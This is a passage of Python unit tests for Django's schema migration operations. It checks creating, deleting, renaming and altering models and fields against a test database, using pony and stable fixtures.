        with connection.schema_editor() as editor:
            operation.database_backwards("test_crmoih", editor, new_state, project_state)
        self.assertTableNotExists("test_crmoih_shetlandpony")

    def test_create_proxy_model(self):
        """
        Tests that CreateModel ignores proxy models.
        """
        project_state = self.set_up_test_model("test_crprmo")
        # Test the state alteration
        operation = migrations.CreateModel(
            "ProxyPony",
            [],
            options={"proxy": True},
            bases=("test_crprmo.Pony", ),
        )
        self.assertEqual(operation.describe(), "Create proxy model ProxyPony")
        new_state = project_state.clone()
        operation.state_forwards("test_crprmo", new_state)
        self.assertIn(("test_crprmo", "proxypony"), new_state.models)
        # Test the database alteration
        self.assertTableNotExists("test_crprmo_proxypony")
        self.assertTableExists("test_crprmo_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_crprmo", editor, project_state, new_state)
        self.assertTableNotExists("test_crprmo_proxypony")
        self.assertTableExists("test_crprmo_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_crprmo", editor, new_state, project_state)
        self.assertTableNotExists("test_crprmo_proxypony")
        self.assertTableExists("test_crprmo_pony")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "CreateModel")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2].keys()), ["bases", "fields", "name", "options"])

    def test_create_unmanaged_model(self):
        """
        Tests that CreateModel ignores unmanaged models.
        """
        project_state = self.set_up_test_model("test_crummo")
        # Test the state alteration
        operation = migrations.CreateModel(
            "UnmanagedPony",
            [],
            options={"proxy": True},
            bases=("test_crummo.Pony", ),
        )
        self.assertEqual(operation.describe(), "Create proxy model UnmanagedPony")
        new_state = project_state.clone()
        operation.state_forwards("test_crummo", new_state)
        self.assertIn(("test_crummo", "unmanagedpony"), new_state.models)
        # Test the database alteration
        self.assertTableNotExists("test_crummo_unmanagedpony")
        self.assertTableExists("test_crummo_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_crummo", editor, project_state, new_state)
        self.assertTableNotExists("test_crummo_unmanagedpony")
        self.assertTableExists("test_crummo_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_crummo", editor, new_state, project_state)
        self.assertTableNotExists("test_crummo_unmanagedpony")
        self.assertTableExists("test_crummo_pony")

    def test_create_model_managers(self):
        """
        Tests that the managers on a model are set.
        """
        project_state = self.set_up_test_model("test_cmoma")
        # Test the state alteration
        operation = migrations.CreateModel(
            "Food",
            fields=[
                ("id", models.AutoField(primary_key=True)),
            ],
            managers=[
                ("food_qs", FoodQuerySet.as_manager()),
                ("food_mgr", FoodManager("a", "b")),
                ("food_mgr_kwargs", FoodManager("x", "y", 3, 4)),
            ]
        )
        self.assertEqual(operation.describe(), "Create model Food")
        new_state = project_state.clone()
        operation.state_forwards("test_cmoma", new_state)
        self.assertIn(("test_cmoma", "food"), new_state.models)
        managers = new_state.models["test_cmoma", "food"].managers
        self.assertEqual(managers[0][0], "food_qs")
        self.assertIsInstance(managers[0][1], models.Manager)
        self.assertEqual(managers[1][0], "food_mgr")
        self.assertIsInstance(managers[1][1], FoodManager)
        self.assertEqual(managers[1][1].args, ("a", "b", 1, 2))
        self.assertEqual(managers[2][0], "food_mgr_kwargs")
        self.assertIsInstance(managers[2][1], FoodManager)
        self.assertEqual(managers[2][1].args, ("x", "y", 3, 4))

    def test_delete_model(self):
        """
        Tests the DeleteModel operation.
        """
        project_state = self.set_up_test_model("test_dlmo")
        # Test the state alteration
        operation = migrations.DeleteModel("Pony")
        self.assertEqual(operation.describe(), "Delete model Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_dlmo", new_state)
        self.assertNotIn(("test_dlmo", "pony"), new_state.models)
        # Test the database alteration
        self.assertTableExists("test_dlmo_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_dlmo", editor, project_state, new_state)
        self.assertTableNotExists("test_dlmo_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_dlmo", editor, new_state, project_state)
        self.assertTableExists("test_dlmo_pony")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "DeleteModel")
        self.assertEqual(definition[1], [])
        self.assertEqual(list(definition[2]), ["name"])

    def test_delete_proxy_model(self):
        """
        Tests the DeleteModel operation ignores proxy models.
        """
        project_state = self.set_up_test_model("test_dlprmo", proxy_model=True)
        # Test the state alteration
        operation = migrations.DeleteModel("ProxyPony")
        new_state = project_state.clone()
        operation.state_forwards("test_dlprmo", new_state)
        self.assertIn(("test_dlprmo", "proxypony"), project_state.models)
        self.assertNotIn(("test_dlprmo", "proxypony"), new_state.models)
        # Test the database alteration
        self.assertTableExists("test_dlprmo_pony")
        self.assertTableNotExists("test_dlprmo_proxypony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_dlprmo", editor, project_state, new_state)
        self.assertTableExists("test_dlprmo_pony")
        self.assertTableNotExists("test_dlprmo_proxypony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_dlprmo", editor, new_state, project_state)
        self.assertTableExists("test_dlprmo_pony")
        self.assertTableNotExists("test_dlprmo_proxypony")

    def test_rename_model(self):
        """
        Tests the RenameModel operation.
        """
        project_state = self.set_up_test_model("test_rnmo", related_model=True)
        # Test the state alteration
        operation = migrations.RenameModel("Pony", "Horse")
        self.assertEqual(operation.describe(), "Rename model Pony to Horse")
        # Test initial state and database
        self.assertIn(("test_rnmo", "pony"), project_state.models)
        self.assertNotIn(("test_rnmo", "horse"), project_state.models)
        self.assertTableExists("test_rnmo_pony")
        self.assertTableNotExists("test_rnmo_horse")
        if connection.features.supports_foreign_keys:
            self.assertFKExists("test_rnmo_rider", ["pony_id"], ("test_rnmo_pony", "id"))
            self.assertFKNotExists("test_rnmo_rider", ["pony_id"], ("test_rnmo_horse", "id"))
        # Migrate forwards
        new_state = project_state.clone()
        new_state = self.apply_operations("test_rnmo", new_state, [operation])
        # Test new state and database
        self.assertNotIn(("test_rnmo", "pony"), new_state.models)
        self.assertIn(("test_rnmo", "horse"), new_state.models)
        # RenameModel also repoints all incoming FKs and M2Ms
        self.assertEqual("test_rnmo.Horse", new_state.models["test_rnmo", "rider"].fields[1][1].remote_field.model)
        self.assertTableNotExists("test_rnmo_pony")
        self.assertTableExists("test_rnmo_horse")
        if connection.features.supports_foreign_keys:
            self.assertFKNotExists("test_rnmo_rider", ["pony_id"], ("test_rnmo_pony", "id"))
            self.assertFKExists("test_rnmo_rider", ["pony_id"], ("test_rnmo_horse", "id"))
        # Migrate backwards
        original_state = self.unapply_operations("test_rnmo", project_state, [operation])
        # Test original state and database
        self.assertIn(("test_rnmo", "pony"), original_state.models)
        self.assertNotIn(("test_rnmo", "horse"), original_state.models)
        self.assertEqual("Pony", original_state.models["test_rnmo", "rider"].fields[1][1].remote_field.model)
        self.assertTableExists("test_rnmo_pony")
        self.assertTableNotExists("test_rnmo_horse")
        if connection.features.supports_foreign_keys:
            self.assertFKExists("test_rnmo_rider", ["pony_id"], ("test_rnmo_pony", "id"))
            self.assertFKNotExists("test_rnmo_rider", ["pony_id"], ("test_rnmo_horse", "id"))
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RenameModel")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'old_name': "Pony", 'new_name': "Horse"})

    def test_rename_model_with_self_referential_fk(self):
        """
        Tests the RenameModel operation on model with self referential FK.
        """
        project_state = self.set_up_test_model("test_rmwsrf", related_model=True)
        # Test the state alteration
        operation = migrations.RenameModel("Rider", "HorseRider")
        self.assertEqual(operation.describe(), "Rename model Rider to HorseRider")
        new_state = project_state.clone()
        operation.state_forwards("test_rmwsrf", new_state)
        self.assertNotIn(("test_rmwsrf", "rider"), new_state.models)
        self.assertIn(("test_rmwsrf", "horserider"), new_state.models)
        # Remember, RenameModel also repoints all incoming FKs and M2Ms
        self.assertEqual(
            "test_rmwsrf.HorseRider",
            new_state.models["test_rmwsrf", "horserider"].fields[2][1].remote_field.model
        )
        # Test the database alteration
        self.assertTableExists("test_rmwsrf_rider")
        self.assertTableNotExists("test_rmwsrf_horserider")
        if connection.features.supports_foreign_keys:
            self.assertFKExists("test_rmwsrf_rider", ["friend_id"], ("test_rmwsrf_rider", "id"))
            self.assertFKNotExists("test_rmwsrf_rider", ["friend_id"], ("test_rmwsrf_horserider", "id"))
        with connection.schema_editor() as editor:
            operation.database_forwards("test_rmwsrf", editor, project_state, new_state)
        self.assertTableNotExists("test_rmwsrf_rider")
        self.assertTableExists("test_rmwsrf_horserider")
        if connection.features.supports_foreign_keys:
            self.assertFKNotExists("test_rmwsrf_horserider", ["friend_id"], ("test_rmwsrf_rider", "id"))
            self.assertFKExists("test_rmwsrf_horserider", ["friend_id"], ("test_rmwsrf_horserider", "id"))
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_rmwsrf", editor, new_state, project_state)
        self.assertTableExists("test_rmwsrf_rider")
        self.assertTableNotExists("test_rmwsrf_horserider")
        if connection.features.supports_foreign_keys:
            self.assertFKExists("test_rmwsrf_rider", ["friend_id"], ("test_rmwsrf_rider", "id"))
            self.assertFKNotExists("test_rmwsrf_rider", ["friend_id"], ("test_rmwsrf_horserider", "id"))

    def test_rename_model_with_superclass_fk(self):
        """
        Tests the RenameModel operation on a model which has a superclass that
        has a foreign key.
        """
        project_state = self.set_up_test_model("test_rmwsc", related_model=True, mti_model=True)
        # Test the state alteration
        operation = migrations.RenameModel("ShetlandPony", "LittleHorse")
        self.assertEqual(operation.describe(), "Rename model ShetlandPony to LittleHorse")
        new_state = project_state.clone()
        operation.state_forwards("test_rmwsc", new_state)
        self.assertNotIn(("test_rmwsc", "shetlandpony"), new_state.models)
        self.assertIn(("test_rmwsc", "littlehorse"), new_state.models)
        # RenameModel shouldn't repoint the superclass's relations, only local ones
        self.assertEqual(
            project_state.models["test_rmwsc", "rider"].fields[1][1].remote_field.model,
            new_state.models["test_rmwsc", "rider"].fields[1][1].remote_field.model
        )
        # Before running the migration we have a table for Shetland Pony, not Little Horse
        self.assertTableExists("test_rmwsc_shetlandpony")
        self.assertTableNotExists("test_rmwsc_littlehorse")
        if connection.features.supports_foreign_keys:
            # and the foreign key on rider points to pony, not shetland pony
            self.assertFKExists("test_rmwsc_rider", ["pony_id"], ("test_rmwsc_pony", "id"))
            self.assertFKNotExists("test_rmwsc_rider", ["pony_id"], ("test_rmwsc_shetlandpony", "id"))
        with connection.schema_editor() as editor:
            operation.database_forwards("test_rmwsc", editor, project_state, new_state)
        # Now we have a little horse table, not shetland pony
        self.assertTableNotExists("test_rmwsc_shetlandpony")
        self.assertTableExists("test_rmwsc_littlehorse")
        if connection.features.supports_foreign_keys:
            # but the Foreign keys still point at pony, not little horse
            self.assertFKExists("test_rmwsc_rider", ["pony_id"], ("test_rmwsc_pony", "id"))
            self.assertFKNotExists("test_rmwsc_rider", ["pony_id"], ("test_rmwsc_littlehorse", "id"))

    def test_rename_model_with_self_referential_m2m(self):
        app_label = "test_rename_model_with_self_referential_m2m"

        project_state = self.apply_operations(app_label, ProjectState(), operations=[
            migrations.CreateModel("ReflexivePony", fields=[
                ("id", models.AutoField(primary_key=True)),
                ("ponies", models.ManyToManyField("self")),
            ]),
        ])
        project_state = self.apply_operations(app_label, project_state, operations=[
            migrations.RenameModel("ReflexivePony", "ReflexivePony2"),
        ])
        Pony = project_state.apps.get_model(app_label, "ReflexivePony2")
        pony = Pony.objects.create()
        pony.ponies.add(pony)

    def test_rename_model_with_m2m(self):
        app_label = "test_rename_model_with_m2m"
        project_state = self.apply_operations(app_label, ProjectState(), operations=[
            migrations.CreateModel("Rider", fields=[
                ("id", models.AutoField(primary_key=True)),
            ]),
            migrations.CreateModel("Pony", fields=[
                ("id", models.AutoField(primary_key=True)),
                ("riders", models.ManyToManyField("Rider")),
            ]),
        ])
        Pony = project_state.apps.get_model(app_label, "Pony")
        Rider = project_state.apps.get_model(app_label, "Rider")
        pony = Pony.objects.create()
        rider = Rider.objects.create()
        pony.riders.add(rider)

        project_state = self.apply_operations(app_label, project_state, operations=[
            migrations.RenameModel("Pony", "Pony2"),
        ])
        Pony = project_state.apps.get_model(app_label, "Pony2")
        Rider = project_state.apps.get_model(app_label, "Rider")
        pony = Pony.objects.create()
        rider = Rider.objects.create()
        pony.riders.add(rider)
        self.assertEqual(Pony.objects.count(), 2)
        self.assertEqual(Rider.objects.count(), 2)
        self.assertEqual(Pony._meta.get_field('riders').remote_field.through.objects.count(), 2)

    def test_rename_m2m_target_model(self):
        app_label = "test_rename_m2m_target_model"
        project_state = self.apply_operations(app_label, ProjectState(), operations=[
            migrations.CreateModel("Rider", fields=[
                ("id", models.AutoField(primary_key=True)),
            ]),
            migrations.CreateModel("Pony", fields=[
                ("id", models.AutoField(primary_key=True)),
                ("riders", models.ManyToManyField("Rider")),
            ]),
        ])
        Pony = project_state.apps.get_model(app_label, "Pony")
        Rider = project_state.apps.get_model(app_label, "Rider")
        pony = Pony.objects.create()
        rider = Rider.objects.create()
        pony.riders.add(rider)

        project_state = self.apply_operations(app_label, project_state, operations=[
            migrations.RenameModel("Rider", "Rider2"),
        ])
        Pony = project_state.apps.get_model(app_label, "Pony")
        Rider = project_state.apps.get_model(app_label, "Rider2")
        pony = Pony.objects.create()
        rider = Rider.objects.create()
        pony.riders.add(rider)
        self.assertEqual(Pony.objects.count(), 2)
        self.assertEqual(Rider.objects.count(), 2)
        self.assertEqual(Pony._meta.get_field('riders').remote_field.through.objects.count(), 2)

    def test_rename_m2m_through_model(self):
        app_label = "test_rename_through"
        project_state = self.apply_operations(app_label, ProjectState(), operations=[
            migrations.CreateModel("Rider", fields=[
                ("id", models.AutoField(primary_key=True)),
            ]),
            migrations.CreateModel("Pony", fields=[
                ("id", models.AutoField(primary_key=True)),
            ]),
            migrations.CreateModel("PonyRider", fields=[
                ("id", models.AutoField(primary_key=True)),
                ("rider", models.ForeignKey("test_rename_through.Rider", models.CASCADE)),
                ("pony", models.ForeignKey("test_rename_through.Pony", models.CASCADE)),
            ]),
            migrations.AddField(
                "Pony",
                "riders",
                models.ManyToManyField("test_rename_through.Rider", through="test_rename_through.PonyRider"),
            ),
        ])
        Pony = project_state.apps.get_model(app_label, "Pony")
        Rider = project_state.apps.get_model(app_label, "Rider")
        PonyRider = project_state.apps.get_model(app_label, "PonyRider")
        pony = Pony.objects.create()
        rider = Rider.objects.create()
        PonyRider.objects.create(pony=pony, rider=rider)

        project_state = self.apply_operations(app_label, project_state, operations=[
            migrations.RenameModel("PonyRider", "PonyRider2"),
        ])
        Pony = project_state.apps.get_model(app_label, "Pony")
        Rider = project_state.apps.get_model(app_label, "Rider")
        PonyRider = project_state.apps.get_model(app_label, "PonyRider2")
        pony = Pony.objects.first()
        rider = Rider.objects.create()
        PonyRider.objects.create(pony=pony, rider=rider)
        self.assertEqual(Pony.objects.count(), 1)
        self.assertEqual(Rider.objects.count(), 2)
        self.assertEqual(PonyRider.objects.count(), 2)
        self.assertEqual(pony.riders.count(), 2)

    def test_add_field(self):
        """
        Tests the AddField operation.
        """
        # Test the state alteration
        operation = migrations.AddField(
            "Pony",
            "height",
            models.FloatField(null=True, default=5),
        )
        self.assertEqual(operation.describe(), "Add field height to Pony")
        project_state, new_state = self.make_test_state("test_adfl", operation)
        self.assertEqual(len(new_state.models["test_adfl", "pony"].fields), 4)
        field = [
            f for n, f in new_state.models["test_adfl", "pony"].fields
            if n == "height"
        ][0]
        self.assertEqual(field.default, 5)
        # Test the database alteration
        self.assertColumnNotExists("test_adfl_pony", "height")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_adfl", editor, project_state, new_state)
        self.assertColumnExists("test_adfl_pony", "height")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_adfl", editor, new_state, project_state)
        self.assertColumnNotExists("test_adfl_pony", "height")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AddField")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["field", "model_name", "name"])

    def test_add_charfield(self):
        """
        Tests the AddField operation on TextField.
        """
        project_state = self.set_up_test_model("test_adchfl")

        Pony = project_state.apps.get_model("test_adchfl", "Pony")
        pony = Pony.objects.create(weight=42)

        new_state = self.apply_operations("test_adchfl", project_state, [
            migrations.AddField(
                "Pony",
                "text",
                models.CharField(max_length=10, default="some text"),
            ),
            migrations.AddField(
                "Pony",
                "empty",
                models.CharField(max_length=10, default=""),
            ),
            # If not properly quoted digits would be interpreted as an int.
            migrations.AddField(
                "Pony",
                "digits",
                models.CharField(max_length=10, default="42"),
            ),
            # Manual quoting is fragile and could trip on quotes. Refs #xyz.
            migrations.AddField(
                "Pony",
                "quotes",
                models.CharField(max_length=10, default='"\'"'),
            ),
        ])

        Pony = new_state.apps.get_model("test_adchfl", "Pony")
        pony = Pony.objects.get(pk=pony.pk)
        self.assertEqual(pony.text, "some text")
        self.assertEqual(pony.empty, "")
        self.assertEqual(pony.digits, "42")
        self.assertEqual(pony.quotes, '"\'"')

    def test_add_textfield(self):
        """
        Tests the AddField operation on TextField.
        """
        project_state = self.set_up_test_model("test_adtxtfl")

        Pony = project_state.apps.get_model("test_adtxtfl", "Pony")
        pony = Pony.objects.create(weight=42)

        new_state = self.apply_operations("test_adtxtfl", project_state, [
            migrations.AddField(
                "Pony",
                "text",
                models.TextField(default="some text"),
            ),
            migrations.AddField(
                "Pony",
                "empty",
                models.TextField(default=""),
            ),
            # If not properly quoted digits would be interpreted as an int.
            migrations.AddField(
                "Pony",
                "digits",
                models.TextField(default="42"),
            ),
            # Manual quoting is fragile and could trip on quotes. Refs #xyz.
            migrations.AddField(
                "Pony",
                "quotes",
                models.TextField(default='"\'"'),
            ),
        ])

        Pony = new_state.apps.get_model("test_adtxtfl", "Pony")
        pony = Pony.objects.get(pk=pony.pk)
        self.assertEqual(pony.text, "some text")
        self.assertEqual(pony.empty, "")
        self.assertEqual(pony.digits, "42")
        self.assertEqual(pony.quotes, '"\'"')

    def test_add_binaryfield(self):
        """
        Tests the AddField operation on TextField/BinaryField.
        """
        project_state = self.set_up_test_model("test_adbinfl")

        Pony = project_state.apps.get_model("test_adbinfl", "Pony")
        pony = Pony.objects.create(weight=42)

        new_state = self.apply_operations("test_adbinfl", project_state, [
            migrations.AddField(
                "Pony",
                "blob",
                models.BinaryField(default=b"some text"),
            ),
            migrations.AddField(
                "Pony",
                "empty",
                models.BinaryField(default=b""),
            ),
            # If not properly quoted digits would be interpreted as an int.
            migrations.AddField(
                "Pony",
                "digits",
                models.BinaryField(default=b"42"),
            ),
            # Manual quoting is fragile and could trip on quotes. Refs #xyz.
            migrations.AddField(
                "Pony",
                "quotes",
                models.BinaryField(default=b'"\'"'),
            ),
        ])

        Pony = new_state.apps.get_model("test_adbinfl", "Pony")
        pony = Pony.objects.get(pk=pony.pk)
        # SQLite returns buffer/memoryview, cast to bytes for checking.
        self.assertEqual(bytes(pony.blob), b"some text")
        self.assertEqual(bytes(pony.empty), b"")
        self.assertEqual(bytes(pony.digits), b"42")
        self.assertEqual(bytes(pony.quotes), b'"\'"')

    def test_column_name_quoting(self):
        """
        Column names that are SQL keywords shouldn't cause problems when used
        in migrations (#22168).
        """
        project_state = self.set_up_test_model("test_regr22168")
        operation = migrations.AddField(
            "Pony",
            "order",
            models.IntegerField(default=0),
        )
        new_state = project_state.clone()
        operation.state_forwards("test_regr22168", new_state)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_regr22168", editor, project_state, new_state)
        self.assertColumnExists("test_regr22168_pony", "order")

    def test_add_field_preserve_default(self):
        """
        Tests the AddField operation's state alteration
        when preserve_default = False.
        """
        project_state = self.set_up_test_model("test_adflpd")
        # Test the state alteration
        operation = migrations.AddField(
            "Pony",
            "height",
            models.FloatField(null=True, default=4),
            preserve_default=False,
        )
        new_state = project_state.clone()
        operation.state_forwards("test_adflpd", new_state)
        self.assertEqual(len(new_state.models["test_adflpd", "pony"].fields), 4)
        field = [
            f for n, f in new_state.models["test_adflpd", "pony"].fields
            if n == "height"
        ][0]
        self.assertEqual(field.default, NOT_PROVIDED)
        # Test the database alteration
        project_state.apps.get_model("test_adflpd", "pony").objects.create(
            weight=4,
        )
        self.assertColumnNotExists("test_adflpd_pony", "height")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_adflpd", editor, project_state, new_state)
        self.assertColumnExists("test_adflpd_pony", "height")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AddField")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["field", "model_name", "name", "preserve_default"])

    def test_add_field_m2m(self):
        """
        Tests the AddField operation with a ManyToManyField.
        """
        project_state = self.set_up_test_model("test_adflmm", second_model=True)
        # Test the state alteration
        operation = migrations.AddField("Pony", "stables", models.ManyToManyField("Stable", related_name="ponies"))
        new_state = project_state.clone()
        operation.state_forwards("test_adflmm", new_state)
        self.assertEqual(len(new_state.models["test_adflmm", "pony"].fields), 4)
        # Test the database alteration
        self.assertTableNotExists("test_adflmm_pony_stables")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_adflmm", editor, project_state, new_state)
        self.assertTableExists("test_adflmm_pony_stables")
        self.assertColumnNotExists("test_adflmm_pony", "stables")
        # Make sure the M2M field actually works
        with atomic():
            Pony = new_state.apps.get_model("test_adflmm", "Pony")
            p = Pony.objects.create(pink=False, weight=4.55)
            p.stables.create()
            self.assertEqual(p.stables.count(), 1)
            p.stables.all().delete()
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_adflmm", editor, new_state, project_state)
        self.assertTableNotExists("test_adflmm_pony_stables")

    def test_alter_field_m2m(self):
        project_state = self.set_up_test_model("test_alflmm", second_model=True)

        project_state = self.apply_operations("test_alflmm", project_state, operations=[
            migrations.AddField("Pony", "stables", models.ManyToManyField("Stable", related_name="ponies"))
        ])
        Pony = project_state.apps.get_model("test_alflmm", "Pony")
        self.assertFalse(Pony._meta.get_field('stables').blank)

        project_state = self.apply_operations("test_alflmm", project_state, operations=[
            migrations.AlterField(
                "Pony", "stables", models.ManyToManyField(to="Stable", related_name="ponies", blank=True)
            )
        ])
        Pony = project_state.apps.get_model("test_alflmm", "Pony")
        self.assertTrue(Pony._meta.get_field('stables').blank)

    def test_repoint_field_m2m(self):
        project_state = self.set_up_test_model("test_alflmm", second_model=True, third_model=True)

        project_state = self.apply_operations("test_alflmm", project_state, operations=[
            migrations.AddField("Pony", "places", models.ManyToManyField("Stable", related_name="ponies"))
        ])
        Pony = project_state.apps.get_model("test_alflmm", "Pony")

        project_state = self.apply_operations("test_alflmm", project_state, operations=[
            migrations.AlterField("Pony", "places", models.ManyToManyField(to="Van", related_name="ponies"))
        ])

        # Ensure the new field actually works
        Pony = project_state.apps.get_model("test_alflmm", "Pony")
        p = Pony.objects.create(pink=False, weight=4.55)
        p.places.create()
        self.assertEqual(p.places.count(), 1)
        p.places.all().delete()

    def test_remove_field_m2m(self):
        project_state = self.set_up_test_model("test_rmflmm", second_model=True)

        project_state = self.apply_operations("test_rmflmm", project_state, operations=[
            migrations.AddField("Pony", "stables", models.ManyToManyField("Stable", related_name="ponies"))
        ])
        self.assertTableExists("test_rmflmm_pony_stables")

        with_field_state = project_state.clone()
        operations = [migrations.RemoveField("Pony", "stables")]
        project_state = self.apply_operations("test_rmflmm", project_state, operations=operations)
        self.assertTableNotExists("test_rmflmm_pony_stables")

        # And test reversal
        self.unapply_operations("test_rmflmm", with_field_state, operations=operations)
        self.assertTableExists("test_rmflmm_pony_stables")

    def test_remove_field_m2m_with_through(self):
        project_state = self.set_up_test_model("test_rmflmmwt", second_model=True)

        self.assertTableNotExists("test_rmflmmwt_ponystables")
        project_state = self.apply_operations("test_rmflmmwt", project_state, operations=[
            migrations.CreateModel("PonyStables", fields=[
                ("pony", models.ForeignKey('test_rmflmmwt.Pony', models.CASCADE)),
                ("stable", models.ForeignKey('test_rmflmmwt.Stable', models.CASCADE)),
            ]),
            migrations.AddField(
                "Pony", "stables",
                models.ManyToManyField("Stable", related_name="ponies", through='test_rmflmmwt.PonyStables')
            )
        ])
        self.assertTableExists("test_rmflmmwt_ponystables")

        operations = [migrations.RemoveField("Pony", "stables")]
        self.apply_operations("test_rmflmmwt", project_state, operations=operations)

    def test_remove_field(self):
        """
        Tests the RemoveField operation.
        """
        project_state = self.set_up_test_model("test_rmfl")
        # Test the state alteration
        operation = migrations.RemoveField("Pony", "pink")
        self.assertEqual(operation.describe(), "Remove field pink from Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_rmfl", new_state)
        self.assertEqual(len(new_state.models["test_rmfl", "pony"].fields), 2)
        # Test the database alteration
        self.assertColumnExists("test_rmfl_pony", "pink")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_rmfl", editor, project_state, new_state)
        self.assertColumnNotExists("test_rmfl_pony", "pink")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_rmfl", editor, new_state, project_state)
        self.assertColumnExists("test_rmfl_pony", "pink")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RemoveField")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'model_name': "Pony", 'name': 'pink'})

    def test_remove_fk(self):
        """
        Tests the RemoveField operation on a foreign key.
        """
        project_state = self.set_up_test_model("test_rfk", related_model=True)
        self.assertColumnExists("test_rfk_rider", "pony_id")
        operation = migrations.RemoveField("Rider", "pony")

        new_state = project_state.clone()
        operation.state_forwards("test_rfk", new_state)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_rfk", editor, project_state, new_state)
        self.assertColumnNotExists("test_rfk_rider", "pony_id")
        with connection.schema_editor() as editor:
            operation.database_backwards("test_rfk", editor, new_state, project_state)
        self.assertColumnExists("test_rfk_rider", "pony_id")

    def test_alter_model_table(self):
        """
        Tests the AlterModelTable operation.
        """
        project_state = self.set_up_test_model("test_almota")
        # Test the state alteration
        operation = migrations.AlterModelTable("Pony", "test_almota_pony_2")
        self.assertEqual(operation.describe(), "Rename table for Pony to test_almota_pony_2")
        new_state = project_state.clone()
        operation.state_forwards("test_almota", new_state)
        self.assertEqual(new_state.models["test_almota", "pony"].options["db_table"], "test_almota_pony_2")
        # Test the database alteration
        self.assertTableExists("test_almota_pony")
        self.assertTableNotExists("test_almota_pony_2")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_almota", editor, project_state, new_state)
        self.assertTableNotExists("test_almota_pony")
        self.assertTableExists("test_almota_pony_2")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_almota", editor, new_state, project_state)
        self.assertTableExists("test_almota_pony")
        self.assertTableNotExists("test_almota_pony_2")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterModelTable")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'name': "Pony", 'table': "test_almota_pony_2"})

    def test_alter_model_table_none(self):
        """
        Tests the AlterModelTable operation if the table name is set to None.
        """
        operation = migrations.AlterModelTable("Pony", None)
        self.assertEqual(operation.describe(), "Rename table for Pony to (default)")

    def test_alter_model_table_noop(self):
        """
        Tests the AlterModelTable operation if the table name is not changed.
        """
        project_state = self.set_up_test_model("test_almota")
        # Test the state alteration
        operation = migrations.AlterModelTable("Pony", "test_almota_pony")
        new_state = project_state.clone()
        operation.state_forwards("test_almota", new_state)
        self.assertEqual(new_state.models["test_almota", "pony"].options["db_table"], "test_almota_pony")
        # Test the database alteration
        self.assertTableExists("test_almota_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_almota", editor, project_state, new_state)
        self.assertTableExists("test_almota_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_almota", editor, new_state, project_state)
        self.assertTableExists("test_almota_pony")

    def test_alter_model_table_m2m(self):
        """
        AlterModelTable should rename auto-generated M2M tables.
        """
        app_label = "test_talflmltlm2m"
        pony_db_table = 'pony_foo'
        project_state = self.set_up_test_model(app_label, second_model=True, db_table=pony_db_table)
        # Add the M2M field
        first_state = project_state.clone()
        operation = migrations.AddField("Pony", "stables", models.ManyToManyField("Stable"))
        operation.state_forwards(app_label, first_state)
        with connection.schema_editor() as editor:
            operation.database_forwards(app_label, editor, project_state, first_state)
        original_m2m_table = "%s_%s" % (pony_db_table, "stables")
        new_m2m_table = "%s_%s" % (app_label, "pony_stables")
        self.assertTableExists(original_m2m_table)
        self.assertTableNotExists(new_m2m_table)
        # Rename the Pony db_table which should also rename the m2m table.
        second_state = first_state.clone()
        operation = migrations.AlterModelTable(name='pony', table=None)
        operation.state_forwards(app_label, second_state)
        with connection.schema_editor() as editor:
            operation.database_forwards(app_label, editor, first_state, second_state)
        self.assertTableExists(new_m2m_table)
        self.assertTableNotExists(original_m2m_table)
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards(app_label, editor, second_state, first_state)
        self.assertTableExists(original_m2m_table)
        self.assertTableNotExists(new_m2m_table)

    def test_alter_field(self):
        """
        Tests the AlterField operation.
        """
        project_state = self.set_up_test_model("test_alfl")
        # Test the state alteration
        operation = migrations.AlterField("Pony", "pink", models.IntegerField(null=True))
        self.assertEqual(operation.describe(), "Alter field pink on Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_alfl", new_state)
        self.assertIs(project_state.models["test_alfl", "pony"].get_field_by_name("pink").null, False)
        self.assertIs(new_state.models["test_alfl", "pony"].get_field_by_name("pink").null, True)
        # Test the database alteration
        self.assertColumnNotNull("test_alfl_pony", "pink")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_alfl", editor, project_state, new_state)
        self.assertColumnNull("test_alfl_pony", "pink")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_alfl", editor, new_state, project_state)
